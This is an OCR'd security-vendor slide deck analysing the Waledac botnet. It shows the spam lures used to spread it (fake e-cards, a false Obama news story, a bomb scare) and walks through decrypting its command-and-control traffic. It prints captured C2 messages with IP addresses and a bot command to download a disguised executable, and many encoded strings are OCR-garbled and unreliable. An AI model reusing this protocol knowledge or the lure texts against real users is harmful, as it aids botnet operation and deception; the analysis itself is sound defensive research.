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Waledac... an overview

* Not your ordinary worm
2 Merry Christmas!
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Waledac... an overview

* Not your ordinary Bot

Classification L 312117 1.3
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Waledac... an overview

* Not your ordinary malware

- Email spam changed tack to New Year
- Still the same eCard website

2009-02-17

- Still using the Valentines theme,

but is now using several pictures
2009-01-09 in rotation.

2009-03-16

- Changed to "Bombing" theme

2009-02-23 - Websites leveraged GeolP for
- Changed to "Coupons” theme, more targeted and localized social
taking advantage of the current engineering
2008-12-26 financial crisis

- Waledac first seen 2009-01-26

- eCard theme, In time for - Websites using Valentines

the Christmas season theme

2009-01-18

Classification

- Changed social engineering tack to
“Obama refused to be a president”

2009-02-10
- Still using the Valentines theme,
but now has the additional text:
“Just in case you haven’t noticed yet..."

3121117

2009-02-28

- Websites added GeolP component.

- Still using the Coupons theme,
but the websites now know from
what city you connected from.

Copyright 2007 - Trend Micro Inc.

2009-04-15
Engages users to spy on somebody
else's SMS messages.



Monitoring Waledac

;

Infect VM Firewall VM Host OS Firewall
i VMnet2 VMnet8 (NAT) i
Waledac Infected - Packet sniffer
Machine

- pcap analyzer

- parser for pcap output
- e-mail viewer

- Spam repository
-logs/DB

- Postfix to catch spam e-
mails from going out

' Classification L 312117 1.5 | - Copyright 2007 - Trend Micro Inc. ) TREND,



Waledac Seeding Runs (Christmas e-card) :

2 You've got a Merry Christmas greeting card

File Edit VYiew Tools Message Help
‘d g /> Merry Cheistonas! - Windows Internet Explorer ‘lnl_!]
M - - - y
T I e L e —— Y| éoli X e seme i
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To: e —n— . o - - = R R »
WLt o * ) - - -_) - T -
Subject: You'vegotal w ey O / l l I Q £) - dm v rPage v () Toois
K Search: | GO
Thomas has mailed a [ @
To see your card Jusf At
http:/f° ‘. Home E-Cards Movies Shop Online Find a Store
Hope you enjoy our
,1.2 'u‘_‘ —
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Waledac Seeding Runs (New Year e-card) :

File Edit Wew Tools Message Help
g & 8 =
Reply Reply all  Forward Print

From: Susan

pate: [

To: |

Subject: MNew Year Ecard Notification

& New Year Ecard Notification - Central European (... [Z]@

Delete

X | O

(= New Yoar Cards, Free New Year oCards, Greeting Cards - Windows Internot Explorer

Susan mailed to you an electronic New Ye
To wiew your customized greeting card, sinf

following mternet
location: http:/f

_com/

code=b51e4638a1980b0557
Cheers, 123ChristmasCards. Com Team

Classification 3121/17
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B What will be with our country? - Message (Plain Text)

© Flle Edit Wew Insert Format Tools Actions Help

$ Forward | & B3 =0 4 e X

Sent: EENENEEENSYEEN

& Reply @ Reply to Al

| & |

H Bl s .
To: [ = =]

(=7
Subject:

From:

What will be with our country?

Barack Obawa is not ready to be a president

Waledac Seeding Runs (Obama News)

http://page.

bhamaguide . con/

Yours Sincerely,

Classification

CetLoca

o a *I'M ASKING YOU YO BELIEVE
: ¥ e '
RS - ¥

LEARN Issuis MEDIA ACTION PEOPLE STATES

© OBAMAF|

¢ Barack Obama has refused to be a president
possed Jonwary 16 16:02:56 PM

Create Your My80 Account |

o1
»
v

Barack Obama’s Inauguratien that was planned on 20th January 2009 Is under the threat of
failwie. On the Eve of Inauguration Day President-elect Barack Obama made statement. He
doclared that he s definitely NOT ready for this pesition. Analysts say that Basack Obama has
rofused to be next president bacause he recognized incensistamcy of his plan of stimulating

USA economy... CONTINUE READING

» President-Elect Obama on the Senate Vote to Release 2nd Half of the Financial

312117

Rescue Plan
posted Janwary 15 10:58:40 PM

D s2wan & s -

Copyright 2007 - Trend Micro Inc.
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Waledac Seeding Runs (Valentines e-card)

: Click here to view your card.
'\“ ',‘ awde il iy \9 —_— N

Click here to view vour postcard.

For downloading your Valentine's Day e-card please click here.

Click here to download your e-card.

Click here to view your card.

Classification 3/21/17 Copyright 2007 - Trend Micro Inc.




Waledac Seeding Runs (Coupon Discounts)

Couponizer

MAX YOUR SAVINGS!

HOME | ABOUT | ORDER | COUPONS | NEWSLETTER | LINKS | TESTIMONIALS | JOIN OURTEAM |

FREE OFFERS

| CONTACT US

Exclusive sale coupons and deals at over 1 000 stores
in Manila, Philippines.
You can find these amazing sale offers and coupons ONLY HERE!
You can download free online and printable coupon list.
Click Image Below for coupons!

y —

1. Click

S

2.Print  3.Clip

$$s
Save!

In our list there are most popular stores, restaurants and companies

in Manila, Philippines with discounts up to 95%.
We help vou to survive this crisis!

| &-BOOKS | DOWNLOAD COUPONS | LINKS TO COUPON SITES | SUBSCRIBE TO NEWSLETTER | COUPONIZER OF THE MONTH | LINKS | TESTIMONIALS | JOIN OUR TEAM |
| FREE OFFERS | CONTACT | PRIVACY POLICY | SITE USAGE POLICY |

Copyright ® 2002-2008 The Couponizer Compsny - All Rights Reserved

Classification 10
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Waledac Seeding Runs (Bomb Scare)

Classification

312117

REUTERS

Powerful explosion burst in Manila this morning.

At least 12 people have been killed and more than 40 wounded in a
bomb blast near market in Manila. Authorities suggested that
explosion was caused by "dirty" bomb. Police said the bomb was
detonated from close by using electric cables. "It was awful" said the
evewitness about blast that he heard from his shop. "It made the
floor shake. So many people were running”

Until now there has been no claim of responsibility.

REUTERS

e I — NN+ B < share W Shuffle ® |

You need the latest Flash plaver to view video content. Click here to
download.

Related Links:
http://en wikipedia.org wikiDirtv bomb
http:/www.google.com/search?q=Manila+terror+attack

11 Copyright 2007 - Trend Micro Inc.
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Waledac Seeding Runs (SMS Spy)

Classification

3121117

Get Your Free 30-Day Trial!

Do you want to test your partner or just to read somebody's SMS? This
program is exactly what you need then! It's so easy! You don't need to install it
at the mobile phone of your partner. Just download the program and you will
able to read all SMS when you are online. Be aware of everything! This is an
extremely new servicel

Download Free Trial

© SMS Spy. All rights reserved

12 Copyright 2007 - Trend Micro Inc.



The Waledac Botnet

How does Waledac generate dynamic
e-mails?

| Classification L 3121/17 .13




The Waledac Botnet

Peeking through HTTP traffic...

POST /oumgnpocgw.htm HTTP/1.1

Referer: Mozilla

Aocept: */%

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla

Host: 12.135.152.45

Content-Length: 957

Cache-Control: no-cache

a= wALArh19G7IghWZi HDKuOade? jwCLHjGrHSDDxgooc7B3 Xo4Fx7s6PZhSbgEqOF g
nx-uezvjdJd nlanSYeJDSsQUPtheldC538CHLPf1g ZJFMS-zIe-
SGaZUkaUCwerSpTQOF—
YSJwZFw7HuUASKSoXiquzhTOSgifxXxvePYaftAZOr3YrHGIJN 7hgueRbsfFxAKi6JEBEQGE0OY
21GgyE7AS7I8RNZtL-ThOmZd3RAZEGAOWIoENzSvUr SVPU-

giv?LZ2 IFDRNd lrNukXz1l mGgVe1QHYSiZpAhY7R1 IgNh40bLSESHLEr OF tHSHwo2 Q3
iwZulC-Rp-
COMuSiKQr7oghyShUKghYdvFoSIFmLSZ24ohe Yp ViYpmYzdeeaZEhZizrht-
LZgchP L-

SKgqdhV3 15xCIUE MA4450HEln jvagqyCOQsYLYAREGN6shjacroSA4vONN1zJIdSas
0ifl1ZbOTxm?wCNeSKVDJt JJJ936bb4HDsXZ5800z xf SmDOnw-OyohwrWoXXS-
m3gTe4- nOJ2szSXBRrsngzNQqu84Tdec_leHT?H—IUU—
CywouiAgqMpHEMKJudfHGhgHNFocwgVU3 AHvw1 TN 1E-
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The Waledac Botnet

We need to break the encrypted
traffic!!!

| Classification L 3121/17 .15




| Classification | 3121/17 | 16

Breaking the encryption... '

Certificate found in the Waledac binary

MIICXTCCLiGgAWIBAgIJALvFRWML/ 1RSHAODGCSGS Ih3 DQEEBQUANEwxCz AJBgV
BAYTAkACHMRIWEAYDVOQQIEW1CZXJrce2 hperUxEDAOBGNVEACTEOS 1d2J 1enkxF z AV
BgNVELOTDk15IENvhXEhbnkgTHRKME4XD TAS NTAYNTIwMTEOOFoXDTASMTEYMD Iw
MTEOOFowTDELMAKGA1UEBhMCROIXE j AQBgNVBAGTCUJ lemt zaGlyZTEQMA4GA1UE
BxMHTIV3 YnVye TEXMBUGA1 UEChMOTXkgQ2 9t cGFueSEMAGQugZE8wDQYIKo Z Thvel
AQEBBQADGYOAMIGI RoGBAJ90+vC7isUhKESoAzME/ wnE/ ypICLUZ01nrSgV1SJCS
ZXYBIE10AziASYadAJtNOAVEKWO0su3DhaGIJy7zIBP+1094w4Yy2BO0pitLr9g2Ny
nuFGt/0GiEagemayf6ADULKiE3 pGGOJrRiIKCIOTEI 1A YSM3gsL4QS8 1 TITL
AgMBAAGigadwgaswHOYDVROOBEYEFC9d9is0dTin6Uns£ Y0 zn1GM14Q0MHUGA1Ud
IwR1MHOAFC9d9isQdTin6Unsf Y03 zn1GN14QoVCkT i BMMOswCQYDVQOGEWIHQIES
MEAGL1UECEMIOmVya3NoaXJd IMRAWDgYDVQQOHEwdOZXdidXJSMRewF QY DVQOKE wSH
eSBDb2 1wYWSSIEX0ZITJALVFKWNL/ 1RSMAWGA1UAEWQF MANBAfSWDQYIKo Z ThveN
AQEFEQADGYEAWYphFm/biSHP ThiPEGEE 0T fxev ISP 1Wt2 XCopO8GiwSOUnRFCCa

+PIVZnuTSQMHOLQC joCD2 Ih+jEGu+bOpecHC ly/ Erd7swHoSWeGhFogpyyiTOL 1J ]
bbDdERpbzu¥YlpplLxfwsoEadUiSwZ8Ht IrgStmdeJ1IBkXhSedz0rvk=

Copyright 2007 - Trend Micro Inc.
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Breaking the encryption...

AES key in Waledac binary...

| Classification L 3121/17 .17

: Copyright 2007 - Trend Micro Inc.
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Breaking the encryption...

Waledac encryption algorithm...

i Classification i 3121117 i 18 i Copyright 2007 - Trend Micro Inc. @ IBEEE‘



Breaking the encryption...

Waledac decryption algorithm...

i Classification i 3121117 i 19 i Copyright 2007 - Trend Micro Inc. @ IBEEE‘



Breaking the encryption...

Sample decryption using sample session...

POST /oumgnpocgw.htm HTTP/1.1

Referer: Mozilla

Aocept: */%

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla

Host: 12.135.152.45

Content-Length: 957

Cache-Control: no-cache

a= wAMArbl19G7IghWi HDEKuOade?jwCLHIGrHSDDxgoo7B3 Xo4Fx7s6P2hShgEqOFg
nx-uezvijJd nlnwV3iYedDSsOUPLOdeldCS38CHLPL1ly ZJFMO-zIe-
3GaZWkCKkUCwsr93p790F -
YSIwZFw7HUASKSoXicquzhTOSgiExvePYafAZOrSYrHGIJN 7hgueRbsfFxAKi6JEBQBEOY
21GgyE7AS7I8RWZtL-ThOmZd3RAZEGAOWIoENzSvUrSVPU-

giw7£2 IFDRNd1mNukXz1l mGgVe10HYS1iZpAhY7R1 IgNh40bLSESHLErOF tHSHwoZ Q3
iwZulC-Rp-
COMuSiKQr7oghyShUKghYdvFoSIFmLSZ24ohe Yp ViYpmYzdeeaZEhZizrht-
LZgchP L-

SKgqdhV3 15xCIUE MA4450HEln jvagqyCOQsYLYAREGN6shjacroSA4vONN1zJIdSas
0if1ZhO0Txm?wCNeSEKVDJLt JJJ936bb4HDsXZ5800z xXf SnmDOnw-OyohwrWoXXS-
m3gT24-n0j2wzESZERrskgWzNQuJgS4TdbVe 1eMT7H-1UWW-
CywouiAgqMpHEMKJudfHGhgHNFocwgVU3 AHvwl1 T 1E-

E Classification E 312117 E 20 E Copyright 2007 - Trend Micro Inc. ”‘ IB Ewe



Breaking the encryption...

* Replace '-' with '+"and "_" with '/’ in "a=<string>"
* Replace ‘A" with '="in "b=<string>"

a=_ wARArbl9G7IghWi HDKulDade?jwCLH)GrHSDDxgoce7BE3Xo4Fx7s6PZh8bgEqOFg
nx-uezvijJd nlnvV3iYedDSsOUPL9deldCS38CHLPL1ly ZJFM9-zle-
3GaZWkCkUCwsr93p790F -
vSIwZFuw7HUASKkSoxicuuzhTOSgifxvePYaftAZOrSYrHGIN7hgueRbsfFx AKi6JEBQE0OY
2iGgyE7AS7 ISRUZCL-ThOmZd3RAZEGAOWIoENzSvUr SVPU-

giwv?L2 IFDRNdIrNukXz1l mGgVe1QHYS1iZpAhY7R1 IgNh40bLSESHLErOF tHSHwo2 Q3
iwZulNC-Rp-
COMuSiKQr7oghyShUKghYdvFoSIFmLS24ohe Yp ViYpmYzdeeaZEhZizrht-
LZgchP L-

SKgdhV315xCIUE MA4450HEln jwigqyCOQsYLYAREGNG6shjacroSAi4vONN1zJIdSas
0if1ZhO0Txm?wCNeSKVDJt JJJ936bh4HDsXZ56800z xf SmDOnw-OyohwrWoXXS-
m3gT24-n0j2wzESZXERrskgWzNQuJgS4TdbVe 1eMT7H-1WW-
CywgquiAgMpHEMKJudfHGhgHNFocwgVU3 AHvwl TN 1E-
MOxXvwxm37S8ELitKkS91KrCOivsNADYAZPUGKKREEVaY61l-05w9swvwRYNsDQC-5dJ0hl1z~
EFpSiKgfmdwQCGEemZmST16cNZ 1RKEO1vobiIEyprItwIgq)KufDgfGumIsVismERDLHK
RAjiTedNx RSIIfSrBXwSqhGHzvyET7r2 t££CGyE4MkDMs INciKgizyjoW3 UoSwvUD 1LY
6F4s?SKk90c2nOSFCHQm_ShEHXGsSSrauA?hOthFMyQUAipngSrHfGaaEfCQKSsﬂ
SXny07LeP-6KX1IREBSO17EAZZIN0OT mTIOKY-

VvIW1NRES3nxg NS3¢ stcpS¥YNgOwEBEsSFIOwebh=A48000

E Classification E 3121/17 E 21 E Copyright 2007 - Trend Micro Inc. ”l
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Breaking the encryption...

» Concatenate strings in “a=<string>" and “b=<string>",
you now have a B64 encoded message...

FwAAArb19G7IghUZ/HDKuDaJe7? jwCLHIGrH9DDxgoee7B3X04Fx7s6P2h8hgEgOFgn
x+ueZvid/ nlnvv3iYedD8s9UPt9de ldCS38CHLPf1g/ ZJFM9+zIe+3GaZlkCkUCwsE
O3 p7O0F+ySiwZFu7HulAOKkSoxicuzhTOSgifxXvePYaftAZOrSYr HGIN7hgueRbhsfFx A
KieJEBQeOYZ2 iGgyET7AS7ISRUVEZtL+ThOmZdSRAZEGAOWIoENzO9vUr SVPU+Nw7£2 IFD
KNd lrukXz 1/ mGgVe 10HYSiZpAhY7R1 IgNh40bLSESHLErOF t HSHwo2 Q3 iwZ ulNC+R
p+COMMSiKQr7oghyShUKgh YdvFo2 IFmLSZ 4ohe/ Yp/ Vi¥YpmYzJ6eaZzEhZzrht+L2 g
chP/L+sKgqJhV315xCIUE/ MA4450HE In/ jv3gqyCOQsYEYAREGN 6shjacro9a4vONM1
zJId8a30ifl1ZbOTxm7wCNeSKVDJIt/JJJ93 6bb4HDsXZ5800z/ x£/ SmD0Onw+Oyohwr
WoXXS8+1m3gT24+n0j2wzESXBRrskgWzNQulg84 TdbVe/ leMT7H+1UU+CywguigMpHE
MEJu4fHGhgHNFcwgVU3 AHvwl TN 1E+MOXxvxm3 758EitkS91KrCOivsNADyAZPUGKKX
KVaY61l+o5wSsuwwRYNsSDOQC+5dJ0Oh1z+EBFpS i KgfmJwQCGEemZmST16cNZ 1kEO1lvobi
IEyprItwlIgqiKutfDgfGmlIsVEsmERDCHR+RA)1iTe4Nx JRSILSrBEXwSghGHlzvyE7rZtt
fCGyB4MkDN=s 1NciKgizyjoW3 UoSvUDILNE6F4s73KkO0c2n03FCHMO9n/ ShEHX 6333 ra
UAThOYztFHyO ULl pegYSrHEGaaEfCQKSs IS Xmny07LeP+6KkX1RBS0i7£AZZnQT/ T

ORY+vWINROInxg/NS53c/step@YNgOwBsF IQu======

E Classification E 3121/17 E 22 E Copyright 2007 - Trend Micro Inc. m) I
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' Classification | 312117

Breaking the encryption...

After B64 decode...

EEO00002BE=5r46ec8aal599fc70cabb46897bhE£008b1e3 1abl1fd0c3c6071cec
1dd7a38171leeceSfdalflbad4ab416a9f1fac7hehe32 7f0e59ef57761e243f2cf
543edfS5d7a5742e77£02 1ch3dfd60£d924533dfh32 1efh719a6569029140b0b2b
£77a7bf7417ech98£0645c3blee03d939a3 18aa%b3853d3c8227f1bfa3d869£01
93ab498ac718937hb860b9e45bb1£17100a8baz4143a398da2 1alc84ece7h8fcd
565ed2fe4el3ab65d4917597c602685a5a04373£6£52be553d4faal 6fedfds58143
90d76598dbad5£3d7£986a95eb5407639899a405856ed1d4585804578d1b2d21371¢
b06b385p47487c28d90de2e3 6b8d0be469£62d169b988ad2beedaalchlbd4Zaat
d876£1668£481662£9cdbBaz173£629fd5618a6663327a79ad84859%cebi6df8bdaa
7213ff2feb0aa89855de5e710858504fcc038e39a071259ff8ef4aac82390b187d
50111063 7ab218da72ba3d0368bf434cd7324877c6b7d227£565b393c66e£008d7
be2950c8h7£2492 7ddfasdbe070ec5d9e7cdlecffeSE££9983d2 7e3e3b2a2 1e2b
5a85d7f3e%h7a93db8fa73a3db0cc4e57051aec9205b3350b89abee1375b55cfe
578c4fhlfedS565helb2c2abiladcad?7ec2a3bb87c719ba87345730815537007h
£0d5337507e30ectfefbdfbe7el122b644bdddaac23azbec3400£20193d418a917
295698eb5fafe70f6cc2£45832c0d00bee5d24e875cfe045a798caadf989c1008
607a9b69b94f5e9c376d6413496falb888132a6b22de08aaizZae7c3adfla22es
57b267d10ed1e4£910238937b83718d14887d2ac15f0e6a846333bL2 13baf6bSE
7c21b20783240ccbh2535c858a822c£28e85075284a£50394b37a1768b3b46a93dd1
cda73b714233d%£4a11075fabl12debfac03b84e633b45332£54022a5e818e6b1
df19a65847c240aebe2 125e69f2d3b2de3feead5e5441e748bb7c06599d04££993
f6463ebd6d4d47dde7c60fede??73£b2d729£583603b006c1483b

23 Copyright 2007 - Trend Micro Inc.
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Breaking the encryption...

« After AES decryption...

SRRk R4 1 592 653 59chele4e8000050d£802010500affe?3f£ff£f03£LEE£LE0
40020cdbbh56392e22829e4d4d3£2a79343286%h6a4f43cd4a79aa3c9a3i48£4£52 7ea
9f94d10454f4d11a69e89a9fa988d3d4£534£48£53014c4c8d3c990c91eal8a’es
ala98134deabta343234d06869a3401932341a03553£53¢9234068d03d234000680
686864001e00158ec56d4efda30s598875326L£8c068cal0dl435c9d3blec83242569
ae78ed4eb407Z2ed4ad414c3lea2?32cf118ebed3f880289a1022d218506a71b06E76
Shh4h855£f9a75896e32aab02d9470belcf15998e7£38719%afld6caShfaef96Zezact
bhf44979909h2e42758a7dbsS8f060622d5baldlc386%ecef3057851eb9cbclededs”?
TeSecd4l05£904a232265dd70addac143chet575a25£0c8hb98b4c474c6a59491228
3635faled4l15hf43a03d994696cacadsz 648044h7c1ddedE7032a0£58£95834e3 7
6e2d24cdS532ab40be6645f0ca?78a7880f0a7e0£30adl3dcabh7?7h748e2bb010cE6
020712df4de0as07bi6?5ccas08d4d07786549cE857he70ef1681433652aa3e955
£fd30189c43ecdlledeaddachf68e95b30e751d01414d38db966£3033a336h752e7
3052d854963¢c4214591f659053dbh987a87a201b24c406a4392ea4dasS808£75e0b06
Te8ed2dl3fef831db3S51c93defl1690ach3f017elef88atblzdale74a8912dE54a8
65dbad45a619d2ddde64b4a4733241d0258c£3c9684718a5af64de27db75£553098
97ade306806fh97h7785990459d24d4ad4alfad006870£d19650aa873a451ad78de
S0b675ch40aectf2deSddSdo4eaf01bl1531c4dl14af77870a28055e8b54bh57e78565
2f191746fecl8clc27a7a99145ae0941c8e05b0dS6f16c20a8c301abd91e5d8h7h
2d5dbZc2508623e038638b85ades531c3dd433eadsf0dlz0dtas07662ceal Stetfd?
edcff862cch3707a69e58al07febbecd3ad905630£280217£177245385090che1c4
cO5630£280217£17724538
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Breaking the encryption...

« After BZIP...

Classification

< 1ro>

<t>getkey</t>

<wr34</v>

<irab0a762d122d31252c0batl4a6124d23</ 1>

<r>0</r>

<props>

<p n="cert">-—--——-—- BEGIN CERTIFICATE-——-—-

MIIBviCCASeglAwIBAgIBAD ANEBgkaghkiGOwOBAQQFADAIMOswCQYDVOQOGEWIVIZEW
MEQGAIUEAXMNTIE1lb INTTCEHcmS 1cDAeFwOwOTAzNTRkwOTHZ MzdaFwOxMDAzNTkw
OTMZMzdaMCUxCzAJBgNVEBAYTALVLMRYwF AYDVOQODEw1PcGVUUINNIEdyb3VwMIGE
MAOGCSgGSIb3DQEBAQUAA4GNADCEiQKBgQDXQUv+5g40GuOEst Tr /SBA2CEznhCE
DfwesFh63p/bfdxy/H8sbInMNe lvTS1Npo7S6NaPt9K8bSht / TSBNKE8TvHkZehSH
wIJUculZeyrMzwFJOrttnidlxkeGiDdal/RIPLVEtNh4d1MOSx0a7Tz4Zs3E 1ylUs
WFLwuvZEPkxUIwIDAQABMAOGCSgGS Ih3DQEBBAUAAGGEAC/PIph0/ UDUCPeCHeCV
OPJuagLibUc3 Am3n9Za¥Yoy4AviR+4wiVep2 SnvOZxyW+7rVEEtuS7MnmhQFhXLt 1
O+90TACVEUdRRI7VngRGXEYyOh7MEP 19Gz008 Y nvKdUronXTPShS2CIzTEzD Y9 vEd
S3YvyTmt THHGELWwCZrnIIPS

</ p>
</props>
</ lra>

; 3121117 i 25
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Breaking the encryption...

« XML format

<Im>

<t>getkey</t> command type

<v>34</v> bot version

<i>ab0a762d122d31252c0ba614a6124d23</i> node ID

<r>0</r>

<props>

<p n="cert">-----BEGIN CERTIFICATE-----
MIIBvjCCASegAwIBAgIBADANBgkghkiGOWOBAQQFADAIMQswCQYDVQQGEwWJVSzEW
MBQGA1TUEAXMNT3BIbINTTCBHcm91cDAeFWOWOTAzZMTkwOTM2MzdaFwOxMDAzMTkw
OTM2MzdaMCUxCzAJBgNVBAYTAIVLMRYwWFAYDVQQDEw1PcGVuU1NMIEdyb3VwWMIGf
MAOGCSqGSIb3DQEBAQUAA4GNADCBIQKBgQDXQWv+5g40GuOEstTr/8BA2CEznbC8
DfwesFh63p/bfdxy/H8sbJmMNelvT51Npo7S6NaPtOK8b5ht/ TBEBNK8TvHkZehSM
wlJUcuWZ6yrMzwF JOrttnidixkeGjDda1/RZPLVXtNh4d1MO5x0a7Tz4ZsSElyUs
WFLwuvXEPkxUIwIDAQABMAOGCSqGSIb3DQEBBAUAA4GBAC/Plph0/UDUCPeCMcCV
OPJuagLjbUc3Am3n9ZaY cy4Ay1R+4wjV6p25nvOZxyW+7rVIBtu97MnmhQFhXLtl
O+90TACVIUdRkJ7VngRgXEyOb7M6P19Gz908YnvKdUmmnXTPSh52CIzTEzDY9yBd
53YvyYmtTHHGEbWwCZmIIP5

</p>
</props>
</Im>
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Breaking the encryption...

« Other message/encryption types
«  Without "a=<string>" and "b=<string>"

Classification

POST / HTTP/1.1

Referer: Mozilla

Aocept: /%

Content-Type: application/x-www-form-urlencoded
X-Request-Kind-Code: nodes

User-Agent: Mozilla

Host: 24.21.164.180

Content-Length: 3904

Cache-Control: no-cache

g69d-opDMIUGAOAKQLVWZI IraCD—
W1lo8pVIR30SwOyOnc7U48EKinKhCFPsUzIG67AHBbsHiHa -

kX 8hqOQ7wgZ l1wEAST6aRhzs9-

mMEgUgh lwHAYULITEYZ iByKUJyxud0fgenVedmoTvsMOJcfy3 vrWkjUUYUy2vEnCF
6104EGZ27NJ1LYOS55p9xeNVENbL rnLVKTwiHFcHEcTE6wKEfnmGEfaVdlALK7Nnogl
WwGIIIgYSNnJsLEPM3sfhKl1lmbijllAPo—

_XGHCE6R_t63ugSWiTVIpa EqlaONUADnDCHsmaJYiHYap-

odbwHMgLs7IZ]l ScfQAdSRID0OcJjYxNIOOH4S5QEUGOQFeQrictx——
TCZobOenNinIgud 10KAvAT) bg¥S-pnywRZE-hi-

TLerZXyxVGUSDYJI 6ewMSmd yxgd4sWEKmZSCWY1 jSHAuxsMafXrsgU7BvNO jQkQUm3 K7
121 TreaVYeSuaHEDQ PhgSpZUwPgul CAgTTSWiDgfucmdds3 jhh03xrLugCcpukEZDE
A3BNEg_ YJEZcONSMLPOPTKFCAZPMIQXSVHSPLPLIMGumZ J15eAM2 GELfovIvESTwvALX
1ITeNhlFBhe3UcEKPvce jp3ulSiUg-zLeXW9sHp-Res-CVSmtomEESppE7S8phbIN

3121/17 27 Copyright 2007 - Trend Micro Inc.
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Breaking the encryption...

« Without command type

<lmr<localtine>1237547711</ localtime><nodes><node
ip="98.162.239.96" port="80"
Lime="1237547696">362789203a76176ddf29dh3399273c5f</ node><node

ip="76.123.47.40" port="g80"
time="1237547641">b542d0288e23574f644eb6064247446b</ node><node

ip="24.249.5.39" port="380"
time="1237547565">3246427e7c67bd0a9d0acd47aec14c818</ node><node

ip="76.107.135.225" port="g80"
time="1237547559">1£f52f117673££37h7714al16b7422b72d</ node><node

time="1237547233">3c36e67efc68eb5a363£0044d4403308</ node><node

ip="61.120.139.212" port="g0"
time="1237547233">8a065c4b616893172a5d0d2 1df2cas502</ node><node

ip="67.166.187.226" port="go"

i Classification i 3121/17 128 i Copyright 2007 - Trend Micro Inc. ”)

z—
-2
om
22
Clw)



Breaking the encryption...

* Encrypted registry entry

#." Registry Editor =10l x|
File Edit View Favortes Help

{1 RegEdt32 21| Name | Tupe | Data

:_l Schedule+ @[Default] REG_SZ [value not set)

{1 Search Assistant %) FwDone REG_BINARY 74727565

(] Security Center &%) LastCommandld ~ REG_BINARY 333430

L SystemCertificates 28] MylD REG_BINARY ab 0a 76 2d 12 2d 31 25 2¢ Ob a6 14

1 Windows , |L-‘3:{§Rust REG_BINARY 8a ea ed b0 35 6f d1 31 90 55 0f 67 ]

=] 4_\] Currentersion g .

WEZho1AYRSYE—0! OVY(@ Po T7 g 1fLx]»ﬂnBU(11N<Qm3618-o&ch|vh)“a31 T

MeQ'u[anG‘-”Qﬂ}éd z8 /AW X r p[RTWAQY i FiB anv_ [-L 0y $i%7] pAEJ &l

W[1>H Iz eBIREOL

5 “btn#@'FaM@ MJem a*—we S o etVJUAD<I u. &ETIM xﬂ -¢SaURfQbL
ISE}%I]B—IT”OAH.

<Im=<localtimex>1237550270</localtime><nodes><node 1p="72.128.47.253" port="80"
ime="1237550270">2f28f117905ef30f3757946db2Zaad64</node><node ip="69.141.233.87'

/ s / / ’
.168.156.190" port="80" time="1237550229">964829748a514d20bc29f76ca002c369</nods
»<node 1p="24.6.119.166" port="80" time="1237550198">612eb06e590b4f6T895db82c08;
92d10</node><node 1p="99.246.173.19" port="80" time="1237550171">2f442cbacb5abb
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Breaking the encryption...

« Command Types:

— ff

— 01

— 02

— 03

— 04

— 05

— 06

— 07

— None
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Waledac Commands

« Command Type: ff

POST
<Im><t>getkey</t><v>33</v><i>1302b4463f55063a6c293a55412a820e</i><r>0</r><props><p n="cert">-----BEGIN
CERTIFICATE-----

MIIBvjCCASegAwIBAgIBADANBgkghkiGOWOBAQQFADAIMQswCQYDVQQGEwWJVSzEW
MBQGA1UEAXMNT3BIbINTTCBHcm91cDAeFwOwWOTAzMDkwMjU2MDFaFwOxMDAzMDkw
MjU2MDFaMCUxCzAJBgNVBAYTAIVLMRYwWFAYDVQQDEw1PcGVuU1NMIEdyb3VwMIGf
MAOGCSqGSIb3aDQEBAQUAA4GNADCBIQKBgQDbLvdUaQ6dvAOznKFGVPf/imVdUi7z7
7BJMO0/8w8QQa5L4DbXiXI1/QxFH7+L54CmLpr5Nw/6xgH9yzOkXc7YBcQGH+RVu
dzxdXHXVo8hji5HnrsZjovsyrpTINZYY4qgZ/7221fDbNpNMzt+kEPoZukFIJBZc
AnmxiaEHFULCjQIDAQABMAOGCSqGSIb3DQEBBAUAA4GBAB3ixFtX5dsDO1n4a0F/
gSLsZFLrp52II2aouv6N5kut8FuvruhQ+5AAM9pgXt07JY GfixMxp3x3ep4FN1aas
N5CayC2uXyRPo8ulpQMh8VpBodSqQ15fwUp3yJkLjiZovCu3NIrEhkJb+9yHd|Dh
GIfiwnsODpQqF4tFIYritam/

Reply

<Im><v>33</v><t>getkey</t><props><p
n="key">0OlslgsUwInGBHuUAkCo0y2XYs2YFkriDVKOKIVgw/zXohz1Vxr/tTf4alSHfPonNF6YeUIFODoBR0OBgQn+PA4
6zvApSVkrBp0zxya+aUw0ie9DDUG6x/DquzKCf THY XmAGknGGTG411WqgGjBIlj6d2sH3wOXhnab186VZkOYMZq7
k=</p></props></Im>

TREND
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Waledac Commands

« Command Type: 01

POST

<Im><t>first</t><v>34</v>
<i>ab0a762d122d31252c0ba614a6124d23</i><r>0</r>

<props><p n="label">mirabella</p><p n="winver">5.1.2600</p></props></Im>

Reply
<Im><v>34</v><t>first</t><props></props></Im>

3121117 32
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Waledac Commands

« Command Type: 02

POST

<Im><t>notify</t><v>34</v><i>1302b4463f55063a6¢c293a55412a820e</i><r>0</r><props><p
n="label">mirabella_site</p><p n="time_init">Wed Apr 15 10:52:39 2009

</p><p n="time_now">Fri Apr 17 14:17:59 2009

</p><p n="time_sys">Fri Apr 17 14:22:16 2009

</p><p n="time_ticks">359645109</p></props></Im>

Reply

<Im><v>34</v><t>notify</t><props><p n="ptr">wergvan</p><p n="ip">203.177.193.100</p><p
n="dns_ip">199.195.113.72</p><p n="smtp_ip">209.85.199.27</p><p n="http_cache_timeout">3600</p><p
n="sender_threads">13</p><p n="sender_queue">2000</p><p n="short_logs">true</p><p
n="commands"><![CDATA[340|download|http://nuovosms.com/win.jpg

[I></p></props><dns_zones></dns_zones><dns_hosts></dns_hosts><socks5></socks5><dos></dos><filter></filter><
/lm>

TREND
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Waledac Commands

« Command Type: 03

POST

<Im><t>taskreq</t><v>34</v><i>1302b4463f55063a6¢c293a55412a820e</i><r>0</r><props></props
></Im>

Reply

<Im><v>27</v><t>taskreq</t><props></props><tasks><task

id="4"><body>UmVjZWI2ZWQ6IGZyb20gJV5DMCVeUCVeUjMtNI410nF3ZXJ0eXVpb3Bhc2RmZ2hqa
2x6eGN2Ym5tXiVeJSAoWyVeQzYIXkleJS4IXkleJS4IXkleJS4IXkleJV4IXSkKCWJ5ICVeQV4IICVeRN
NibmRtYWIsdmVyXiUgd2/0aCBTTVRQIGIkICVeWSVeQzUIXIlyMC0zMDBeJV4IXiUwNjQ30OTY7Cgkl
